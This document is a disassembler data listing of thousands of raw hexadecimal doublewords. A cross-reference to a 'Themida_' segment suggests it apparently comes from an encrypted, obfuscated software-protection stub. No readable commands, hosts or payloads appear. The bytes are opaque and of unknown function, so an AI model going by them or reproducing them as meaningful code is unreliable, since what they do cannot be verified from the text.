		dd 6, 22E5B529h, 9D8B05E2h, 5E2095Dh, 89FE8B50h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BF6671C3h, 41B35A30h, 83995FFh, 6A05E2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 34EDA1C3h
		dd 0F585014Dh, 105E208h, 0E22B158Dh, 6A6105h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 171E70C3h
		dd 0E95D6819h, 8, 6111B302h, 6AEFB476h,	1B5585C7h, 305E2h
		dd 0AE90000h, 6E000000h, 5FD3C473h, 0DEE9823Bh,	9DBD839Bh
		dd 5E5BBh, 2A840Fh, 8B500000h, 3CE95BF9h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0BFE0C350h, 302AAE28h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0D4C5C350h,	6095FFFBh
		dd 0F58D09E4h, 0F05E208h, 68Fh,	0F1BD2900h, 8305E223h
		dd 0E21B55BDh, 850F0305h, 3C4h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D7C35242h,	0B7177C4Bh, 0BD83FB8Bh
		dd 5E5BB9Dh, 95840F00h,	6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6B4BC357h
		dd 6695D2DCh, 9EC8D381h, 30D18589h, 0DB8105E2h,	68B2CB0Bh
		dd 0BB9DB5FFh, 816605E5h, 0FF84C5C3h, 0E2172D95h, 91B58B05h
		dd 5105E5BBh, 6C75FF8h,	10001h,	6880Fh,	0BD8B0000h, 5E20979h
		dd 0AE9h, 78E1D900h, 1CDB3E9Bh,	96B839E8h, 52505250h, 0FF98B66h
		dd 0F585A31h, 12E831h, 0D2DD0000h, 9C4EF80Ch, 61EADB1Ch
		dd 65284219h, 220B2451h, 8D0Fh,	5A5F0000h, 8B965058h, 0E22671BDh
		dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0AE0EC351h,	8760DF81h
		dd 95FF0561h, 5E22BD1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 6AC35242h, 0A652B552h, 5655F054h, 5FC4DF80h
		dd 0CC18589h, 0B58B05E2h, 5E5BB91h, 0EB61BB66h,	10DD858Bh
		dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0CDFB0C3h, 8D88BDD7h, 80657B30h, 86894ADBh
		dd 0C4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0A3C35343h, 0EA68C0ECh,	893AF970h, 0E21379B5h
		dd 0D7816605h, 958B5B19h, 5E20BE9h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0EC35242h, 0EA4DD244h, 664E2CE3h
		dd 3F4BDF81h, 32B19589h, 0C28305E2h, 89DE8B04h,	6A2050h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 417743C3h, 0C03B5568h, 10E961h, 73BA0000h, 8DC33C50h
		dd 8F06F149h, 7B66E803h, 8A0F6583h, 6, 0AFDBD8Bh, 858D05E2h
		dd 5E5CE5Bh, 1495BD8Bh,	9D8B05E2h, 5E21345h, 0B88689h
		dd 8B660000h, 8A006AD8h, 9DB5FFDCh, 6A05E5BBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DCDBC357h, 0FF50D922h, 0E214E995h, 619D2305h, 5005E20Dh
		dd 89DF8B66h, 9D292434h, 5E224BDh, 0BB9DB5FFh, 6A05E5h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 418932C3h, 21419D23h, 95FF05E2h, 5E22D21h, 0BD83D98Bh
		dd 5E20089h, 2E840F00h,	8A000000h, 0BB6650DEh, 348943D5h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B1FED9Ah, 0E22C6DBDh, 9DB5FF05h, 0E905E5BBh
		dd 11h,	453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 1595FF25h
		dd 0E905E204h, 13h, 0ADE8D016h,	0F2CEA99Dh, 9DCB8713h
		dd 0B6D39A7h, 0FF51E495h, 0E5BB9DB5h, 45B58905h, 0FF05E217h
		dd 0E20A5995h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 89D0046Dh, 0E204AD9Dh
		dd 0CDBD8305h, 205E224h, 52840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8BF92AC3h
		dd 0E21F3585h, 850F05h,	3000000h, 0E2225DBDh, 0C605h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A9C35242h, 1B38D2D1h
		dd 0CF985C7h, 5E2h, 95890000h, 5E23031h, 0FFF314E9h, 18D89FFh
		dd 8B05E211h, 666060C1h, 8B1453BEh, 0E2168D85h,	8B666105h
		dd 858D61D0h, 5E20E91h,	0CFDBD89h, 0F9005E2h, 0C85h, 66525000h
		dd 0F93D7BFh, 5A616031h, 8D0F5058h, 2, 2390DF8Bh, 0E21C59BDh
		dd 0E8006A05h, 6, 13267987h, 5FFC3E7Bh,	6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D4A184C3h, 0B6F15927h, 858D83A3h, 5E6A6ABh,	0F896BF66h
		dd 8B05C083h, 0E21A45BDh, 14E95005h, 0F8000000h, 0D7B3481Bh
		dd 0F704FA8Ah, 0B427A99h, 0C8DEC450h, 892F158Fh, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 272DCCC3h, 358E4A18h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 5A87ECC3h, 215D8589h
		dd 6A05E2h, 1E2D95FFh, 0BD8905E2h, 5E22F8Dh, 5E9h, 0C271AF00h
		dd 8D8DE85Eh, 5E59D80h,	17959589h, 9D3105E2h, 5E230F9h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 958980C3h, 5E20D7Dh, 398C381h, 0BD8379DEh
		dd 5E200B9h, 37850F01h,	0F000000h, 682h, 5BD2300h, 6A05E21Fh
		dd 9D9D2902h, 5005E22Fh, 0CE9h,	0B011A000h, 0DF217341h
		dd 0F3D63D77h, 24048982h, 1E69BD89h, 95FF05E2h,	5E214E9h
		dd 0EAE9FA8Bh
		db 0Fh,	2 dup(0)
byte_538367	db 0E8h			; DATA XREF: Themida_:004EFE14o
		dd 0
		dd 0B5ED815Dh, 6A05E6A6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0AD40C357h,	13571085h
		dd 1F7E4FDAh, 0A41BD2Bh, 858D05E2h, 5E58E9Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 19C35040h, 0E842992h
		dd 0B7C3F4D9h, 605690EDh, 13E8h, 0E4761100h, 90ADAD38h
		dd 5684B1BEh, 316A98A5h, 0D58F88AFh, 505B615Fh,	8D0F5250h
		dd 2, 310FC4B7h, 0E850Fh, 9E90000h, 0D2000000h,	0EE0366Dh
		dd 9AE8273Dh, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 71FAC352h, 9C64EC27h
		dd 0D98DD332h, 471BD8Bh, 0FF6405E2h, 35h, 0BD895200h, 5E22B49h
		dd 2589645Fh, 0
		dd 0EE37F5BFh, 2985FF4Ch, 6A05E223h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A1B5C351h
		dd 0D07939DBh, 0FF6A6F75h, 9AEF8153h, 5F153C79h, 1CD1B5FFh
		dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0CA4FE6C3h, 32DA3CF9h, 79D3C781h,	95FF249Dh
		dd 5E2189Dh, 129E9h, 0B0F500h, 0D6CEB81h, 70E6457Ch, 7759D8Bh
		dd 71E405E2h, 9E9h, 60853D00h, 0F65A21B4h, 613CC3EDh, 100830Fh
		dd 81660000h, 0BB9F7FEFh, 1C8A5858h, 8BC8B60Fh,	0E20E85BDh
		dd 0DB58905h, 0BA05E216h, 6, 14EABB66h,	7E9C18Bh, 0BD000000h
		dd 1E72695h, 0E8C18A57h, 10E904h, 0B2C30000h, 9E2150EEh
		dd 40E31E24h, 0FF579CB7h, 0F766E8D1h, 0C59D8BE2h, 2B05E21Eh
		dd 0ABF66C8h, 0F8D18B84h, 19E9h, 14E900h, 70E20000h, 9C5C2761h
		dd 0D13D28CAh, 9728549Eh, 0A9C94280h, 858B4572h, 5E21995h
		dd 100DBD8Bh, 0C08305E2h, 13E907h, 9FF00000h, 7E340857h
		dd 0A3E81696h, 6E1EA98Dh, 6A6A6336h, 0B58D89ABh, 8305E201h
		dd 0BD8B00C0h, 5E203F9h, 830FD03Bh, 10h, 2FD19529h, 3FE905E2h
		dd 8B000000h, 0D8BF0FFAh, 0DD8D8Bh, 7BB705E2h, 0F01E183h
		dd 2984h, 0BE900h, 0ADDD0000h, 1DD01140h, 1B5172DDh, 0DDA58373h
		dd 0FE05E200h, 959589FCh, 2305E219h, 0E22CD9BDh, 0E905h
		dd 0B58D0000h, 5E61D13h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0AEC35545h, 5B13068Dh, 0C7DEFDA2h, 14E9h
		dd 4AB7C00h, 0AA88E406h, 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h
		dd 719D8BB5h, 6A05E214h, 0BD336000h, 5E21889h, 0FE9h, 46926400h
		dd 0DBAC85F1h, 49EBC85Ah, 443050D7h, 0B995FF61h, 5205E20Ah
		dd 21F99D8Bh, 0B95F05E2h, 89Eh,	10E8h, 0C4B8B300h, 4131A406h
		dd 78233362h, 53C31A7Dh, 0AE99Fh, 99670000h, 0A149DD0Ah
		dd 789ECDA7h, 6830F5Fh,	89000000h, 0E22651B5h, 0FCE18305h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0ADC35747h
		dd 6850F40h, 29000000h,	0E22CF98Dh, 6880F05h, 3000000h
		dd 0E209E19Dh, 0C02BFC05h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DC35040h, 9DBD31A0h,	2B05E208h, 56006AD2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C5384C41h, 5E9h, 7E9BB800h,	8166CDB3h, 0AD6C9BEFh
		dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Ah, 39AD6CF0h
		dd 44E8610Bh, 0BD8BBB84h, 5E20D3Dh, 55006A5Bh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 86E56423h
		dd 969CE869h, 7E84FB4h,	0C3000000h, 8D84663Bh, 80604474h
		dd 0B70F94E3h, 0D5F61F2h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 97C35040h, 84999964h, 18F19D8Bh
		dd 0F6005E2h, 68Fh, 659D8900h, 6105E204h, 0BE9958Bh, 0BD0B05E2h
		dd 5E209FDh, 0CE9h, 0AE566F00h,	0B65CE155h, 0E4738EE0h
		dd 618D8B27h, 6A05E207h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 1D6AC352h, 0BB07913Fh
		dd 0EF8157DBh, 52F5C5F9h, 359D895Bh, 5005E201h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 4C5D76E8h
		dd 5BC714F4h, 13E8h, 85211900h,	8DE7521Ch, 2D6E5745h, 6414A3A1h
		dd 1427A904h, 0F8D8D29h, 6A5F05E2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDBEC351h
		dd 0CCD9D29h, 8B6653DDh, 0BD835FFAh, 5E20D79h, 0BF840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 9FDDC355h, 5F5353BAh, 0B85Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 78A87DC3h, 0B70F7E88h, 428D8DDAh,	6A05E24Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 47B3C350h, 841A64C2h, 13E95641h, 30000000h
		dd 99A681D2h, 2A10C2FBh, 0AC91C282h, 9FC563C7h,	0FF5F46D2h
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0CBB8403Eh, 0F295E1ACh, 8E948h, 84E70000h
		dd 0B1AB373Ch, 0BD83E1EFh, 5E21B55h, 0AD840F00h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 8044C353h, 0F2C2CE9h, 280h, 834BB700h, 0E21B55BDh
		dd 840F0105h, 493h, 0FBB70F51h,	0FABF0F5Fh, 1B55BD83h
		dd 0F0305E2h, 44886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 852AF1Bh, 0BCFB43A9h
		dd 10719589h, 8B6005E2h, 0E219B9BDh, 0D98C6605h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EFC35141h, 66EB35DFh
		dd 8969E5BBh, 0E21EB985h, 4E18005h, 2155BD23h, 0C90A05E2h
		dd 119840Fh, 0BD8B0000h, 5E21111h, 241D858Bh, 6A05E2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2009E5C3h, 664F58A1h, 0B56ED381h, 8533A9B7h,	5E22AA9h
		dd 50DBD89h, 13E805E2h,	84000000h, 0BF1954B5h, 496875CBh
		dd 7FAFBE46h, 0C69E7368h, 905FF1A4h, 11E8h, 8870F300h
		dd 0B3D5C9E6h, 94F932D2h, 0A780A2C4h, 8E98222h,	0BA000000h
		dd 27CD26CBh, 5B1DA3F8h, 905F5650h, 0FBB70F52h,	0F006A5Fh
		dd 668D8BFh, 0BB2AD20Fh, 4009C0B0h, 0F9243481h,	6A2ACD0Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 9AFBC350h, 921F1C00h, 0A8E78166h,	3995FF60h
		dd 8B05E208h, 0E207B99Dh, 9D858905h, 6A05E5BBh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 6A78C353h, 0B2F5DA11h, 0E904AC40h, 0Dh, 0D993365Eh
		dd 0ADB63307h, 0B554412Bh, 299D8BA4h, 0E905E217h, 262h
		dd 8B8CF780h, 0E5BB9585h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8529F8AAh
		dd 5E2069Dh, 0EBD8D29h,	0C705E2h, 18h, 0CBEF8166h, 99B58B61h
		dd 6A05E5BBh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 378FC353h, 0A05F5204h,	0B5316069h
		dd 5E224D1h, 1F91BD8Bh,	8B6105E2h, 0E200F985h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 409D3A43h, 89FD8A21h, 0FE906h, 0B3600000h, 1730190Fh
		dd 0FAB2D70Bh, 8843089Ch, 1D858B43h, 6A05E224h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 8E81C356h, 75858902h, 8905E201h, 0E216F585h,	4468905h
		dd 8E850h, 0C2E60000h, 550F28Dh, 0DE8B4094h, 2434895Bh
		dd 6820Fh, 95090000h, 5E208A5h,	0BB95B5FFh, 6A05E5h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 66230AC3h, 60F9E7BFh, 4870Fh, 0BB660000h, 8166CFFFh
		dd 61EE83C6h, 4E8h, 1F03FF00h, 7E900h, 25E20000h, 0E81835FAh
		dd 0E8605025h, 0Ch, 467290D1h, 70A98751h, 66C5D82Eh, 0AE8h
		dd 1F61F800h, 0EA416981h, 5E2A278Fh, 448B6159h,	0FE90424h
		dd 46000000h, 6AFBC1A9h, 0D4A3E132h, 8A58629h, 8B9DF2h
		dd 0C1BB5256h, 5B23C3FBh, 2444895Fh, 0BA605204h, 89514E2h
		dd 5B615B51h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 394AB55Ah, 0DD9D8BEAh, 8D05E204h
		dd 0E5BB9D85h, 899D8B05h, 5005E20Ah, 344626BFh,	24048920h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F5C35242h
		dd 0BD8B48FCh, 5E20E95h, 0DE8h,	0C05AE300h, 0DE9CB096h
		dd 7D86B150h, 8B66CD88h, 95FF5BDFh, 5E20839h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 80C35747h, 43F6AA6h
		dd 17840F1Ah, 0E9000000h, 12h, 0D6586284h, 7016EEE0h, 25CB0F75h
		dd 0EA8CB289h, 5661A72Ch, 5585C75Bh, 305E21Bh, 0F000000h
		dd 1681h, 11E900h, 0BEBA0000h, 0D564D33Bh, 19A82460h, 0A37D43ABh
		dd 83AD9490h, 0E5BB9DBDh, 840F0005h, 2Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0B3C35646h, 235AFEB2h
		dd 0E210959Dh, 1EE905h,	0BF0F0000h, 0C3050FEh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 16C1BD8Bh, 6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C3C8A2C3h, 7EC2D139h, 177DB501h, 0BD8305E2h, 5E21B55h
		dd 0B7850F03h, 8B000004h, 0E2004D9Dh, 835F5605h, 0E5BB9DBDh
		dd 840F0005h, 4A2h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0FFC35141h, 0C89AB39Dh, 0B7C5A0ABh, 9DB5FFA3h
		dd 6A05E5BBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 294C351h, 0CA961A2Eh, 0FFDAB70Fh
		dd 0E2172D95h, 3DBD8B05h, 8B05E209h, 0E5BB91B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 30C15CDAh, 106C7EFh,	6A000100h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 60D6C353h
		dd 0D6403CDFh, 8B53D318h, 0E215519Dh, 2840F05h,	8B000000h
		dd 10E950FBh, 6A000000h, 6BAA8282h, 0A96FE0DDh,	83AE4A8h
		dd 891CF201h, 8E82434h,	0F2000000h, 7B860776h, 0E9068FE3h
		dd 0Ah,	0CAA36F3Ah, 0BDB822F5h,	0FF5B5D73h, 0E5BB9DB5h
		dd 8B666005h, 0BE9D7h, 0A97F0000h, 0F9AD2C18h, 1CEF6DDh
		dd 95FF6178h, 5E22BD1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0D0C35141h, 2BFDDBBFh, 91B58B18h, 6A05E5BBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 6FAEC350h, 0E1BD2B57h, 8B05E208h,	0E210DD85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 4F5E135Bh, 0CCFA82B2h, 25BD2955h, 6605E226h
		dd 89A85ABBh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DFB5917Dh, 8BFA8B66h
		dd 0E232E9BDh, 0E9958B05h, 6A05E20Bh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0DB09C357h
		dd 0E1BD8BC1h, 8305E200h, 816604C2h, 89F328DBh,	89572050h
		dd 0E22C2D95h, 5E95F05h, 4C000000h, 3EEE9859h, 0CE5B858Dh
		dd 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B60A4C3h, 95958BFAh, 6105E20Dh, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B669CC3h, 0EE8F9h, 0FDB10000h, 30B62CEBh
		dd 786264CAh, 2BC98462h, 1FA9BD8Bh, 6A5F05E2h, 999D0B00h
		dd 0FF05E216h, 0E5BB9DB5h, 7E905h, 4A970000h, 16907503h
		dd 0E995FF32h, 6A05E214h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C02FC357h,	0D47A2355h
		dd 79BD8B66h, 9605E21Eh, 0CE8h,	0C76BE400h, 34C53638h
		dd 3E4396E5h, 8E933h, 592E0000h, 5C4A969Ah, 505F0FD1h
		dd 0FE9h, 0D1FA3900h, 0A3B3D41Dh, 0B14738AEh, 99767F3h
		dd 79858996h, 0FF05E206h, 0E5BB9DB5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0F3FC06CCh, 0FE9h, 95DB3D00h, 52323534h, 0E9B15D2Dh
		dd 8AB24763h, 2D2195FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 22F12DC3h, 1A7ED09Ch
		dd 0C8A0Fh, 66600000h, 0F02E8BFh, 86h, 0BD836100h, 5E20089h
		dd 5E840F00h, 89000000h, 0E21051BDh, 0E19D0305h, 9605E21Ch
		dd 0DE8h, 55B60B00h, 351FF5F9h,	9915E92Bh, 525060C8h, 840F310Fh
		dd 0
		dd 505F585Ah, 96F88B66h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 87C35040h, 8D6F07Fh, 0CD8531CDh, 8105E215h
		dd 9AD19CF3h, 9DB5FF3Eh, 8B05E5BBh, 0E2011D9Dh,	1595FF05h
		dd 8105E204h, 2B1E54EBh, 9DB5FF12h, 0FF05E5BBh,	0E20A5995h
		dd 0B6D4BB05h, 0BD831E92h, 5E224CDh, 5E840F02h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B11C352h, 0E20C3DBDh, 818D0905h,	8B05E21Bh
		dd 0E21F3585h, 0BDB1BB05h, 0C64A0Ah, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 9549894Ah
		dd 9D89610Ah, 5E221A1h,	0F985C7F8h, 5E20Ch, 81000000h
		dd 69D024D7h, 95896015h, 5E22CB1h, 9E8h, 91FE2B00h, 423CC1B0h
		dd 11E9CD2Dh, 2000000h,	0AE6C9B56h, 88982313h, 1066BF1Eh
		dd 150BED0Eh, 43E9615Eh, 89FFFFF1h, 0E20AF595h,	95BD8905h
		dd 8B05E214h, 598529C1h, 3105E21Ch, 0E21039B5h,	0ED04EB05h
		dd 0E917E22Bh, 57Eh, 0D890DCBh,	0D6FCB83Ch, 0BF5B6793h
		dd 18D0BCAh, 0E9F5BB20h, 0F1EAB352h, 974227A3h,	3EBC8D09h
		dd 0E4155472h, 0CD3438A6h, 0FE0FEB6Ch, 0B37B3AF9h, 165039AEh
		dd 0B2949DD3h, 0A0678434h, 8526939Ch, 68951DDAh, 829DA586h
		dd 7BB04AC7h, 2F7EAB20h, 6D6937A4h, 4EDDDB1Ch, 0B1D4D207h
		dd 0BBC2C60Eh, 79C5B1FBh, 44073A80h, 44F11490h,	18C2A763h
		dd 28D29594h, 0F3D40164h, 0E4A85217h, 159B5E81h, 562E28F6h
		dd 20AEF2E8h, 8B129841h, 182F90AEh, 675F89FCh, 595F98DBh
		dd 0A927FA80h, 0C7863A04h, 75E64315h, 0ACFC1823h, 0CA039AD7h
		dd 578CF1h, 6EB60000h, 59D82369h, 40DBE116h, 0D669B20Bh
		dd 0CDFC18B9h, 0A964AB9Bh, 43A0413h, 0BF089645h, 0B72h
		dd 0EB4CCF00h, 0FC18B56Ah, 0FFBCCBBh, 0DB22666Eh, 0CD585C98h
		dd 36555382h, 0CC3A0A4Ch, 70E14608h, 0A1FC18B9h, 0F0719DCAh
		dd 0CD659E67h, 4992B3F5h, 0CFCBD106h, 276D6E01h, 5D599DC4h
		dd 4232B4CEh, 1DB907F4h, 6C2AADECh, 440BDC19h, 4FF61593h
		dd 5CE4078Bh, 3AE72A1Ah, 913A0411h, 84h, 276D6ED5h, 515D9DC4h
		dd 484E8BCAh, 4448B23Dh, 5B2B8D21h, 4F2761E5h, 0D968FAE3h
		dd 1710AA59h, 155472AFh, 6725D0E8h, 0E79AD704h,	167533A4h
		dd 5602EAFh, 3B429BD0h,	48F0EF78h, 13BFB019h, 1956FC18h
		dd 0EA096570h, 21676ED1h, 483CBADAh, 4391CC1h, 4DB33Ah
		dd 9B0C0000h, 1EE1BB7Ah, 4E3C8D01h, 0C4276D6Eh,	0C8535F9Dh
		dd 0E08E66E0h, 27106877h, 0AA33E980h, 626836A7h, 53599CDFh
		dd 4C3A83C8h, 0DB22666Eh, 18B9C07Eh, 0BB09F0FCh, 0B4FAE160h
		dd 0FACA8C51h, 8FC6A86h, 4134C81h, 1E33Ah, 6EC70000h, 0E3A92C6Ah
		dd 63E65398h, 315656F6h, 20B91532h, 9F1DDA05h, 8A18C50Ch
		dd 8705F073h, 0E2D29464h, 32024C9Eh, 568214C4h,	0D9169A40h
		dd 36DC0942h, 35341805h, 0FAC39294h, 32971601h,	0F9FA9B01h
		dd 779647D0h, 8709F095h, 5E15714Ah, 4E0FA82Bh, 5CF9FA90h
		dd 428B129Eh, 5304A5C4h, 82F9FA90h, 21DF78B5h, 4BBC3EA9h
		dd 0D81B22BBh, 0CC7D991Fh, 9D1EC65Bh, 0BB77A0ECh, 0A183942Bh
		dd 119740B3h, 0B314418Ah, 0DA4D4B8Ch, 0A556629Bh, 125BA21Fh
		dd 0AAC5A2C9h, 0F1F9FAD7h, 0C6337F77h, 24A7DAC0h, 0FAD7D283h
		dd 233403F9h, 741B7254h, 0AB9637DEh, 0D21D682Eh, 0EE046725h
		dd 0CD0A784Ch, 8845C3CFh, 273FE616h, 178h, 577B181Bh, 0F4A747D0h
		dd 0D3932884h, 8504870Ah, 18F73324h, 3495E2FCh,	0FA9197EBh
		dd 9E81FE01h, 5DD3EA09h, 7F48D6CBh, 2E6C6DD4h, 5818C1A0h
		dd 0CDB56ECFh, 0CA9383F4h, 0F9FA2689h, 57B6E358h, 5EADEBECh
		dd 96D44524h, 0E207BD2Ah, 72890FC6h, 8C8B8CF9h,	3826B3D0h
		dd 562E28B1h, 3AA3EFE8h, 6FA41174h, 0BCE82563h,	55473FE6h
		dd 7B000000h, 0D2557918h, 18B91475h, 4D2A4DFCh,	0EAA83214h
		dd 0C6A3FA37h, 0FC18FE95h, 0A633B2F5h, 0B2BCFAAFh, 231435D3h
		dd 0F2FC18F7h, 4A3A2485h, 0A0A7878Ah, 18F78607h, 8E4A3FFCh
		dd 572FB02h, 0D7974302h, 0A38433C7h, 801B5027h,	0D9E7144Bh
		dd 0B5C71A00h, 0FF000000h, 0A0EEEFAEh, 7212E07h, 0EB9ECBCFh
		dd 0F40E968h, 0C6FC18B9h, 2D9DE069h, 3E4675DEh,	93244ADh
		dd 96ED01FAh, 8D0BCC77h, 9220DB9Ah, 0B8E6E7F9h,	0D3F41177h
		dd 7857237h, 0FAFABDE4h, 6DEE6FBEh, 66C2A939h, 6BB4155Ch
		dd 0F9FA2DD1h, 9EECD88Eh, 854E8F59h, 0E7AE9CEDh, 5A43BCA4h
		dd 9BD00DFEh, 6A38A5E4h, 501DA13h, 6619CD52h, 1D9C08C1h
		dd 3B423904h, 1F50F978h, 36F7D113h, 0F8E16079h,	28F6BB2h
		dd 46891683h, 780787C6h, 0D1556EEFh, 0FFC8A7F7h, 0D8457F77h
		dd 6F372028h, 2491FBAEh, 8623A225h, 0F7D18ED5h,	4D96370Ch
		dd 0A365894h, 12D8C6BDh, 0D0577B18h, 0FF6F5E77h, 0AE7BEC01h
		dd 9A64F5F2h, 0C7BCEAF3h, 0F4BC3DA4h, 0EA63BA06h, 0FCB8ABDh
